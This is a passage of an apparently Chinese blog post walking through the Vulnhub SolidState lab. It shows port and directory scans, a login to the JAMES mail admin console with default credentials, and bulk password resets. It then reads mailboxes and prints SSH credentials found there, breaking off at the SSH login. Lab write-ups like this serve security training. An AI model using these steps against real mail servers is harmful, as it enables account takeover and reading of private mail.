{"id":409,"date":"2024-03-17T19:45:41","date_gmt":"2024-03-17T11:45:41","guid":{"rendered":"http:\/\/162.14.82.114\/?p=409"},"modified":"2024-03-17T19:45:41","modified_gmt":"2024-03-17T11:45:41","slug":"vulnhub-solidstate","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/409\/03\/17\/2024\/","title":{"rendered":"Vulnhub&#8211;SolidState"},"content":{"rendered":"<h1>SOLIDSTATE: 1<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944552.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944552.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317150623698\" \/><\/div><\/p>\n<p>\u626b\u4e00\u4e0b\uff0c\u7b49\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944554.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944554.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317170537528\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7eb3\u5c3c\uff0c\u8fd8\u662f\u626b\u4e00\u4e0b\u5427\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944556.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944556.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317174431261\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5f00\u59cb\u516c\u9e21\uff01<\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<p>\u91cd\u542f\u4e86\u4e00\u4e0b\uff0cip\u53d8\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">rustscan -a 192.168.37.131<\/code><\/pre>\n<pre><code class=\"language-text\">.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83c\udf0dHACK THE PLANET\ud83c\udf0d\n\n[~] The config file is expected to be at &quot;\/home\/kali\/.rustscan.toml&quot;\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan&#039;s speed. Use the Docker image, or up the Ulimit with &#039;--ulimit 5000&#039;. \nOpen 192.168.37.131:22\nOpen 192.168.37.131:119\nOpen 192.168.37.131:25\nOpen 192.168.37.131:80\nOpen 192.168.37.131:110\nOpen 192.168.37.131:4555\n[~] Starting Script(s)\n[&gt;] Script to be run Some(&quot;nmap -vvv -p {{port}} {{ip}}&quot;)\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-03-17 06:12 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:12\nCompleted NSE at 06:12, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:12\nCompleted NSE at 06:12, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:12\nCompleted NSE at 06:12, 0.00s elapsed\nInitiating Ping Scan at 06:12\nScanning 192.168.37.131 [2 ports]\nCompleted Ping Scan at 06:12, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 06:12\nCompleted Parallel DNS resolution of 1 host. at 06:13, 13.03s elapsed\nDNS resolution of 1 IPs took 13.03s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]\nInitiating Connect Scan at 06:13\nScanning 192.168.37.131 [6 ports]\nDiscovered open port 25\/tcp on 192.168.37.131\nDiscovered open port 80\/tcp on 192.168.37.131\nDiscovered open port 22\/tcp on 192.168.37.131\nDiscovered open port 110\/tcp on 192.168.37.131\nDiscovered open port 119\/tcp on 192.168.37.131\nDiscovered open port 4555\/tcp on 192.168.37.131\nCompleted Connect Scan at 06:13, 0.00s elapsed (6 total ports)\nInitiating Service scan at 06:13\nScanning 6 services on 192.168.37.131\nCompleted Service scan at 06:13, 21.06s elapsed (6 services on 1 host)\nNSE: Script scanning 192.168.37.131.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:13\nCompleted NSE at 06:13, 11.21s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:13\nCompleted NSE at 06:13, 5.20s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:13\nCompleted NSE at 06:13, 0.00s elapsed\nNmap scan report for 192.168.37.131\nHost is up, received syn-ack (0.00056s latency).\nScanned at 2024-03-17 06:13:01 EDT for 37s\n\nPORT     STATE SERVICE     REASON  VERSION\n22\/tcp   open  ssh         syn-ack OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)\n| ssh-hostkey: \n|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5WdwlckuF4slNUO29xOk\/Yl\/cnXT\/p6qwezI0ye+4iRSyor8lhyAEku\/yz8KJXtA+ALhL7HwYbD3hDUxDkFw90V1Omdedbk7SxUVBPK2CiDpvXq1+r5fVw26WpTCdawGKkaOMYoSWvliBsbwMLJEUwVbZ\/GZ1SUEswpYkyZeiSC1qk72L6CiZ9\/5za4MTZw8Cq0akT7G+mX7Qgc+5eOEGcqZt3cBtWzKjHyOZJAEUtwXAHly29KtrPUddXEIF0qJUxKXArEDvsp7OkuQ0fktXXkZuyN\/GRFeu3im7uQVuDgiXFKbEfmoQAsvLrR8YiKFUG6QBdI9awwmTkLFbS1Z\n|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISyhm1hXZNQl3cslogs5LKqgWEozfjs3S3aPy4k3riFb6UYu6Q1QsxIEOGBSPAWEkevVz1msTrRRyvHPiUQ+eE=\n|   256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKbFbK3MJqjMh9oEw\/2OVe0isA7e3ruHz5fhUP4cVgY\n25\/tcp   open  smtp        syn-ack JAMES smtpd 2.3.2\n|_smtp-commands: solidstate Hello nmap.scanme.org (192.168.37.128 [192.168.37.128]), PIPELINING, ENHANCEDSTATUSCODES\n80\/tcp   open  http        syn-ack Apache httpd 2.4.25 ((Debian))\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-server-header: Apache\/2.4.25 (Debian)\n|_http-title: Home - Solid State Security\n110\/tcp  open  pop3        syn-ack JAMES pop3d 2.3.2\n119\/tcp  open  nntp        syn-ack JAMES nntpd (posting ok)\n4555\/tcp open  james-admin syn-ack JAMES Remote Admin 2.3.2\nService Info: Host: solidstate; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:13\nCompleted NSE at 06:13, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:13\nCompleted NSE at 06:13, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:13\nCompleted NSE at 06:13, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 50.75 seconds<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<p>\u770b\u5230\u6253\u5f00\u4e86<code>80<\/code>\u7aef\u53e3\uff0c\u5c1d\u8bd5\u8fdb\u884c\u626b\u63cf\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944557.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944557.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317181648603\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-bash\">gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/192.168.37.131 -f -t 200<\/code><\/pre>\n<pre><code class=\"language-bash\">\/icons\/               (Status: 403) [Size: 295]\n\/assets\/              (Status: 200) [Size: 1499]\n\/images\/              (Status: 200) [Size: 2519]\n\/server-status\/       (Status: 403) [Size: 303]\nProgress: 220560 \/ 220561 (100.00%)<\/code><\/pre>\n<p>\u770b\u6765\u6ca1\u5565\u597d\u4e1c\u897f\u554a\u3002\u3002\u96be\u9053\u6ca1\u67e5\u51fa\u6765\uff1f\u6362\u4e00\u4e2a\u626b\u4e00\u4e0b\u8bd5\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\">dirsearch -u http:\/\/192.168.37.131 -e* -i 200,300-399<\/code><\/pre>\n<pre><code class=\"language-apl\">[06:26:11] Starting:                                                                                                   \n[06:26:16] 200 -    3KB - \/about.html                                       \n[06:26:26] 301 -  317B  - \/assets  -&gt;  http:\/\/192.168.37.131\/assets\/        \n[06:26:26] 200 -  473B  - \/assets\/                                          \n[06:26:37] 301 -  317B  - \/images  -&gt;  http:\/\/192.168.37.131\/images\/        \n[06:26:37] 200 -  572B  - \/images\/                                          \n[06:26:39] 200 -    6KB - \/LICENSE.txt                                      \n[06:26:49] 200 -  606B  - \/README.txt                                                                                    \nTask Completed <\/code><\/pre>\n<h3>Wappalyzer\u63d2\u4ef6\u5206\u6790<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944558.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944558.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317183306721\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h2>\u6f0f\u6d1e\u5229\u7528<\/h2>\n<h3>\u67e5\u770b\u7f51\u9875<\/h3>\n<p>\u5230\u5904\u70b9\u70b9\u3002\u770b\u770b\u6709\u6ca1\u6709\u6709\u4ef7\u503c\u7684\u4fe1\u606f\uff0c\u6e90\u4ee3\u7801\u4e5f\u6ca1\u53d1\u73b0\u5565\u6709\u7528\u7684<\/p>\n<h3>\u67e5\u770b\u654f\u611f\u76ee\u5f55<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944559.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317182818096\" style=\"zoom: 33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944560.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944560.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317182833856\" style=\"zoom: 33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944561.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944561.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317183015568\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u6ca1\u5565\u53d1\u73b0\uff0c\u770b\u770b\u5176\u4ed6\u7684\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944562.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944562.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317183104045\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944563.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944563.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317183127595\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<h3>\u67e5\u770b\u5176\u4ed6\u7aef\u53e3<\/h3>\n<p>\u626b\u51fa\u6765\u4e86\u5f88\u591a\u7aef\u53e3\uff0c\u770b\u770b\u5176\u4ed6\u7684\uff1a<\/p>\n<pre><code class=\"language-apl\">22,25,80,110,119,4555<\/code><\/pre>\n<p>\u521a\u521a\u4fe1\u606f\u641c\u96c6\u53d1\u73b0\u8fd9\u4e2a<code>4555<\/code>\u7aef\u53e3\u8fd0\u884c\u7684\u662f\u4e00\u4e2a<code>james-admin syn-ack JAMES Remote Admin 2.3.2<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nc 192.168.37.131 4555\n# JAMES Remote Administration Tool 2.3.2\n# Please enter your login and password\n# Login id:\nadmin\n# Password:\npassword\n# Login failed for admin\n# Login id:\nroot\n# Password:\npassword\n# Login failed for root\n# Login id:\nroot\n# Password:\nroot\n# Welcome root. HELP for a list of commands\nHELP\n# Currently implemented commands:\n# help                                    display this help\n# listusers                               display existing accounts\n# countusers                              display the number of existing accounts\n# adduser [username] [password]           add a new user\n# verify [username]                       verify if specified user exist\n# deluser [username]                      delete existing user\n# setpassword [username] [password]       sets a user&#039;s password\n# setalias [user] [alias]                 locally forwards all email for &#039;user&#039; to &#039;alias&#039;\n# showalias [username]                    shows a user&#039;s current email alias\n# unsetalias [user]                       unsets an alias for &#039;user&#039;\n# setforwarding [username] [emailaddress] forwards a user&#039;s email to another email address\n# showforwarding [username]               shows a user&#039;s current email forwarding\n# unsetforwarding [username]              removes a forward\n# user [repositoryname]                   change to another user repository\n# shutdown                                kills the current JVM (convenient when James is run as a daemon)\n# quit                                    close connection\nlistusers\n# Existing accounts 5\n# user: james\n# user: thomas\n# user: john\n# user: mindy\n# user: mailadmin\ncountusers\n# Existing accounts 5<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86\u82e5\u5e72\u7528\u6237\uff01\uff01\uff01<\/p>\n<p>\u518d\u8bd5\u8bd5\u5176\u4ed6\u7684\uff1a<\/p>\n<pre><code class=\"language-bash\">telnet 192.168.37.131 110<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944564.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944564.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317184726502\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u5fd8\u4e86\u8981\u5bc6\u7801\u4e86\uff0c\u4f7f\u7528\u4e0a\u9762\u90a3\u4e2a\u7a0b\u5e8f\u770b\u770b\u80fd\u4e0d\u80fd\u4fee\u6539\u5bc6\u7801\uff0c\u4e0d\u884c\u5c31\u67e5\u6f0f\u6d1e\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nc 192.168.37.131 4555\n# JAMES Remote Administration Tool 2.3.2\n# Please enter your login and password\n# Login id:\nroot\n# Password:\nroot\n# Welcome root. HELP for a list of commands\nlistusers\n# Existing accounts 5\n# user: james\n# user: thomas\n# user: john\n# user: mindy\n# user: mailadmin\nsetpassword james password\n# Password for james reset\nsetpassword thomas password   \n# Password for thomas reset\nsetpassword john password \n# Password for john reset\nsetpassword mindy password\n# Password for mindy reset\nsetpassword mailadmin password\n# Password for mailadmin reset<\/code><\/pre>\n<p>\u5168\u6539\u6210 password \u4e86\uff0c\u518d\u53bb\u770b\u4e00\u4e0b <code>110<\/code>\u7aef\u53e3\u7684\u670d\u52a1\uff0c<code>syn-ack JAMES pop3d 2.3.2<\/code>\uff0c\u8fd9\u5e94\u8be5\u6709\u4e2a\u90ae\u4ef6\u670d\u52a1\u5668\uff0c\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944565.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944565.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317191049242\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944566.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944566.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317191105177\" \/><\/div><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944567.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944567.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240317191117044\" \/><\/div><\/p>\n<p>\u610f\u5916\u6536\u83b7\uff0c\u5728<code>mindy<\/code>\u90ae\u7bb1\u4e2d\u5f97\u5230\u4e86 ssh \u51ed\u8bc1\uff01<\/p>\n<pre><code class=\"language-apl\">username: mindy\npass: P@55W0rd1!2@<\/code><\/pre>\n<h3>ssh\u767b\u5f55<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944568.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403171944568.png\" 